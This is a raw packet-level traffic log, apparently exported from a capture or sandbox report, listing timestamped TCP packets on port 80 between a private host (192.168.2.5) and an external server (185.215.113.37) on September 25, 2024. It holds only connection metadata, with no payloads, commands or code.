Sep 25, 2024 21:52:11.018570900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.018570900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.018570900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.018615007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.018635988 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019525051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019548893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019566059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019582987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019620895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019620895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019680023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019695997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019712925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019730091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019746065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.019745111 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019746065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019784927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019784927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.019831896 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020193100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020210028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020227909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020248890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020282984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020282984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020498991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020514965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020531893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020549059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020550013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020581961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020582914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020606995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020632982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020668030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020685911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.020734072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020734072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.020735025 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.540688992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540709972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540728092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540736914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540750980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540759087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540766001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540775061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540790081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540807009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540822983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540838957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540853977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540869951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540885925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540904045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540925980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.540946960 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.540982008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.540982008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541214943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541239977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541255951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541266918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541273117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541296005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541311026 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541326046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541328907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541352987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541363955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541371107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541387081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541387081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541407108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541423082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541460037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541683912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541698933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541727066 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541764975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541881084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541898012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541913033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541929960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541944027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541955948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.541961908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541981936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.541995049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542005062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542021036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542021036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542038918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542052984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542068005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542069912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542088032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542103052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542104006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542121887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542133093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542138100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542169094 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542182922 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542789936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542805910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542820930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542833090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542838097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542853117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542861938 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542870045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542884111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542896986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542901039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542917967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542933941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542944908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542949915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542965889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542975903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.542980909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.542999983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543014050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543025017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543030977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543047905 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543056011 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543064117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543070078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543080091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543097019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543098927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543132067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543167114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543770075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543787003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543801069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543816090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543826103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543832064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543848038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543858051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543863058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543879986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543895960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543906927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543912888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543927908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543927908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543943882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543960094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543971062 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.543978930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.543994904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544009924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544019938 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544027090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544039011 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544044018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544059992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544070005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544083118 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544121027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544681072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544703960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544719934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544733047 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544737101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544751883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544770002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544785023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544802904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544802904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544821978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544830084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544830084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544838905 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544840097 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544855118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544872046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544872046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544888020 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544903994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544907093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544919968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544928074 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544938087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544953108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544967890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.544969082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.544986963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545003891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.545027971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.545545101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545561075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545576096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545591116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545604944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545608997 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.545620918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545636892 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545639038 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.545654058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545665026 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.545669079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545686007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.545687914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.545731068 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.546637058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546791077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546807051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546823025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546838999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546854973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546861887 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.546870947 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546897888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.546922922 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.546928883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.546978951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547074080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547090054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547103882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547120094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547130108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547137022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547152042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547153950 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547171116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547185898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547194004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547214985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547243118 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547470093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547485113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547498941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547513962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547530890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547537088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547547102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547566891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547580004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547585011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547597885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547602892 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547621965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547635078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547677040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547852039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547868013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547893047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547909021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547921896 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547924995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547941923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547950029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547959089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547975063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.547975063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547991991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.547993898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548007965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548024893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548036098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548042059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548059940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548074007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548077106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548093081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548095942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548134089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548161983 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548660040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548685074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548700094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548715115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548722029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548729897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548743010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548748016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548764944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548779964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548791885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548796892 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548813105 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548829079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548830986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548844099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548854113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548861980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548875093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548880100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548892975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548898935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548916101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548930883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548932076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548948050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548964977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548965931 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548979998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.548990965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.548999071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549007893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549015999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549052954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549093008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549444914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549462080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549475908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549491882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549506903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549520016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549523115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549551964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549561977 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549568892 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549582958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549586058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549603939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549618006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549618959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549638033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549654961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549654961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549678087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549681902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549695969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549712896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549711943 CEST	49704	80	192.168.2.5	185.215.113.37
